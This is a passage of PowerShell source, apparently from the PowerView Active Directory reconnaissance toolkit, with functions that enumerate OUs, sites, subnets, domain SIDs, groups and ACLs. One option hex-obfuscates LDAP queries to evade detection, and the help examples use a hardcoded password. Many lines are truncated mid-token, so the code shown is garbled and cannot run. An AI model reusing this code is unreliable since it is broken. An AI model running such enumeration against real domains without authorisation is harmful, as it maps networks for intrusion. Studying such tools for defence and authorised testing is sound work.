if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) {
$IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityR
$InterestingACL = New-Object PSObject
$InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN
$InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier
$InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryR
if ($_.ObjectAceType) {
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType
}
else {
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None'
}
$InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags
$InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType
$InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags
$InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenc
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityRefere
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceD
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenc
$InterestingACL
}
else {
$IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputT
# "IdentityReferenceDN: $IdentityReferenceDN"
if ($IdentityReferenceDN) {
$IdentityReferenceDomain = $IdentityReferenceDN.SubString($IdentityReferenceDN.
# "IdentityReferenceDomain: $IdentityReferenceDomain"
$ObjectSearcherArguments['Domain'] = $IdentityReferenceDomain
$ObjectSearcherArguments['Identity'] = $IdentityReferenceDN
# "IdentityReferenceDN: $IdentityReferenceDN"
$Object = Get-DomainObject @ObjectSearcherArguments
if ($Object) {
$IdentityReferenceName = $Object.Properties.samaccountname[0]
if ($Object.Properties.objectclass -match 'computer') {
$IdentityReferenceClass = 'computer'
}
elseif ($Object.Properties.objectclass -match 'group') {
$IdentityReferenceClass = 'group'
}
elseif ($Object.Properties.objectclass -match 'user') {
$IdentityReferenceClass = 'user'
}
else {
$IdentityReferenceClass = $Null
}
# save so we don't look up more than once
$ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityRe
$InterestingACL = New-Object PSObject
$InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN
$InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier
$InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirec
if ($_.ObjectAceType) {
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType
}
else {
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None'
}
$InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags
$InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType
$InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlag
$InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifie
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityRef
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityR
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityRefere
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityRef
$InterestingACL
}
}
else {
Write-Warning "[Find-InterestingDomainAcl] Unable to convert SID '$($_.SecurityIden
}
}
}
}
}
}
}
function Get-DomainOU {
<#
.SYNOPSIS
Search for all organization units (OUs) or specific OU objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties whencreated,usnchanged,...". By default, all OU objects for
the current domain are returned.
.PARAMETER Identity
An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or
GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a). Wildcards accepted.
.PARAMETER GPLink
Only return OUs with the specified GUID in their gplink property.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainOU
Returns the current OUs in the domain.
.EXAMPLE
Get-DomainOU *admin* -Domain testlab.local
Returns all OUs with "admin" in their name in the testlab.local domain.
.EXAMPLE
Get-DomainOU -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272"
Returns all OUs with linked to the specified group policy object.
.EXAMPLE
"*admin*","*server*" | Get-DomainOU
Search for OUs with the specific names.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-DomainOU -Credential $Cred
.OUTPUTS
PowerView.OU
Custom PSObject with translated OU property fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.OU')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('Name')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
[Alias('GUID')]
$GPLink,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMa
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$OUSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
if ($OUSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^OU=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase']))
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replac
Write-Verbose "[Get-DomainOU] Extracted domain '$IdentityDomain' from '$IdentityInsta
$SearcherArguments['Domain'] = $IdentityDomain
$OUSearcher = Get-DomainSearcher @SearcherArguments
if (-not $OUSearcher) {
Write-Warning "[Get-DomainOU] Unable to retrieve domain searcher for '$IdentityDom
}
}
}
else {
try {
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.T
$IdentityFilter += "(objectguid=$GuidByteString)"
}
catch {
$IdentityFilter += "(name=$IdentityInstance)"
}
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['GPLink']) {
Write-Verbose "[Get-DomainOU] Searching for OUs with $GPLink set in the gpLink property"
$Filter += "(gplink=*$GPLink*)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainOU] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
$OUSearcher.filter = "(&(objectCategory=organizationalUnit)$Filter)"
Write-Verbose "[Get-DomainOU] Get-DomainOU filter string: $($OUSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $OUSearcher.FindOne() }
else { $Results = $OUSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$OU = $_
}
else {
$OU = Convert-LDAPProperty -Properties $_.Properties
}
$OU.PSObject.TypeNames.Insert(0, 'PowerView.OU')
$OU
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainOU] Error disposing of the Results object: $_"
}
}
$OUSearcher.dispose()
}
}
}
function Get-DomainSite {
<#
.SYNOPSIS
Search for all sites or specific site objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties whencreated,usnchanged,...". By default, all site objects for
the current domain are returned.
.PARAMETER Identity
An site name (e.g. Test-Site), DistinguishedName (e.g. CN=Test-Site,CN=Sites,CN=Configuration,DC=
GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted.
.PARAMETER GPLink
Only return sites with the specified GUID in their gplink property.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainSite
Returns the current sites in the domain.
.EXAMPLE
Get-DomainSite *admin* -Domain testlab.local
Returns all sites with "admin" in their name in the testlab.local domain.
.EXAMPLE
Get-DomainSite -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272"
Returns all sites with linked to the specified group policy object.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-DomainSite -Credential $Cred
.OUTPUTS
PowerView.Site
Custom PSObject with translated site property fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.Site')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('Name')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
[Alias('GUID')]
$GPLink,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{
'SearchBasePrefix' = 'CN=Sites,CN=Configuration'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMa
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$SiteSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
if ($SiteSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase']))
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replac
Write-Verbose "[Get-DomainSite] Extracted domain '$IdentityDomain' from '$IdentityInst
$SearcherArguments['Domain'] = $IdentityDomain
$SiteSearcher = Get-DomainSearcher @SearcherArguments
if (-not $SiteSearcher) {
Write-Warning "[Get-DomainSite] Unable to retrieve domain searcher for '$IdentityDom
}
}
}
else {
try {
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.T
$IdentityFilter += "(objectguid=$GuidByteString)"
}
catch {
$IdentityFilter += "(name=$IdentityInstance)"
}
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['GPLink']) {
Write-Verbose "[Get-DomainSite] Searching for sites with $GPLink set in the gpLink property"
$Filter += "(gplink=*$GPLink*)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainSite] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
$SiteSearcher.filter = "(&(objectCategory=site)$Filter)"
Write-Verbose "[Get-DomainSite] Get-DomainSite filter string: $($SiteSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $SiteSearcher.FindAll() }
else { $Results = $SiteSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$Site = $_
}
else {
$Site = Convert-LDAPProperty -Properties $_.Properties
}
$Site.PSObject.TypeNames.Insert(0, 'PowerView.Site')
$Site
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainSite] Error disposing of the Results object"
}
}
$SiteSearcher.dispose()
}
}
}
function Get-DomainSubnet {
<#
.SYNOPSIS
Search for all subnets or specific subnets objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties whencreated,usnchanged,...". By default, all subnet objects for
the current domain are returned.
.PARAMETER Identity
An subnet name (e.g. '192.168.50.0/24'), DistinguishedName (e.g. 'CN=192.168.50.0/24,CN=Subnets,C
or GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted.
.PARAMETER SiteName
Only return subnets from the specified SiteName.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainSubnet
Returns the current subnets in the domain.
.EXAMPLE
Get-DomainSubnet *admin* -Domain testlab.local
Returns all subnets with "admin" in their name in the testlab.local domain.
.EXAMPLE
Get-DomainSubnet -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272"
Returns all subnets with linked to the specified group policy object.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-DomainSubnet -Credential $Cred
.OUTPUTS
PowerView.Subnet
Custom PSObject with translated subnet property fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.Subnet')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('Name')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$SiteName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Parameter(Mandatory = $false)]
[Switch]
$SSL, # Dummy value to cover predefined SearcherArguments
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{
'SearchBasePrefix' = 'CN=Subnets,CN=Sites,CN=Configuration'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMa
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$SubnetSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
if ($SubnetSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase']))
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replac
Write-Verbose "[Get-DomainSubnet] Extracted domain '$IdentityDomain' from '$IdentityI
$SearcherArguments['Domain'] = $IdentityDomain
$SubnetSearcher = Get-DomainSearcher @SearcherArguments
if (-not $SubnetSearcher) {
Write-Warning "[Get-DomainSubnet] Unable to retrieve domain searcher for '$Identity
}
}
}
else {
try {
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.T
$IdentityFilter += "(objectguid=$GuidByteString)"
}
catch {
$IdentityFilter += "(name=$IdentityInstance)"
}
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainSubnet] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
$SubnetSearcher.filter = "(&(objectCategory=subnet)$Filter)"
Write-Verbose "[Get-DomainSubnet] Get-DomainSubnet filter string: $($SubnetSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $SubnetSearcher.FindOne() }
else { $Results = $SubnetSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$Subnet = $_
}
else {
$Subnet = Convert-LDAPProperty -Properties $_.Properties
}
$Subnet.PSObject.TypeNames.Insert(0, 'PowerView.Subnet')
if ($PSBoundParameters['SiteName']) {
# have to do the filtering after the LDAP query as LDAP doesn't let you specify
# wildcards for 'siteobject' :(
if ($Subnet.properties -and ($Subnet.properties.siteobject -like "*$SiteName*")) {
$Subnet
}
elseif ($Subnet.siteobject -like "*$SiteName*") {
$Subnet
}
}
else {
$Subnet
}
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainSubnet] Error disposing of the Results object: $_"
}
}
$SubnetSearcher.dispose()
}
}
}
function Get-DomainSID {
<#
.SYNOPSIS
Returns the SID for the current domain or the specified domain.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer
.DESCRIPTION
Returns the SID for the current domain or the specified domain by executing
Get-DomainComputer with the -LDAPFilter set to (userAccountControl:1.2.840.113556.1.4.803:=8192)
to search for domain controllers through LDAP. The SID of the returned domain controller
is then extracted.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER SSL
Switch. Use SSL for the connection to the LDAP server.
.PARAMETER Obfuscate
Switch. Obfuscate the resulting LDAP filter string using hex encoding.
.EXAMPLE
Get-DomainSID
.EXAMPLE
Get-DomainSID -Domain testlab.local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-DomainSID -Credential $Cred
.OUTPUTS
String
A string representing the specified domain SID.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([String])]
[CmdletBinding()]
Param(
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$SSL,
[Switch]
$Obfuscate
)
$SearcherArguments = @{
'LDAPFilter' = '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }
if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate }
$DCSID = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 -ExpandPr
if ($DCSID) {
$DCSID.SubString(0, $DCSID.LastIndexOf('-'))
}
else {
Write-Verbose "[Get-DomainSID] Error extracting domain SID for '$Domain'"
}
}
function Get-DomainGroup {
<#
.SYNOPSIS
Return all groups or specific group objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Get-DomainObject, Convert-ADName, Convert-LDAPP
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties samaccountname,usnchanged,...". By default, all group objects for
the current domain are returned. To return the groups a specific user/group is
a part of, use -MemberIdentity X to execute token groups enumeration.
.PARAMETER Identity
A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=lo
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a
specifying the group to query for. Wildcards accepted.
.PARAMETER MemberIdentity
A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=lo
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a
specifying the user/group member to query for group membership.
.PARAMETER AdminCount
Switch. Return users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER GroupScope
Specifies the scope (DomainLocal, Global, or Universal) of the group(s) to search for.
Also accepts NotDomainLocal, NotGloba, and NotUniversal as negations.
.PARAMETER GroupProperty
Specifies a specific property to search for when performing the group search.
Possible values are Security, Distribution, CreatedBySystem, and NotCreatedBySystem.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.PARAMETER SSL
Switch. Use SSL for the connection to the LDAP server.
.PARAMETER Obfuscate
Switch. Obfuscate the resulting LDAP filter string using hex encoding.
.EXAMPLE
Get-DomainGroup | select samaccountname
samaccountname
--------------
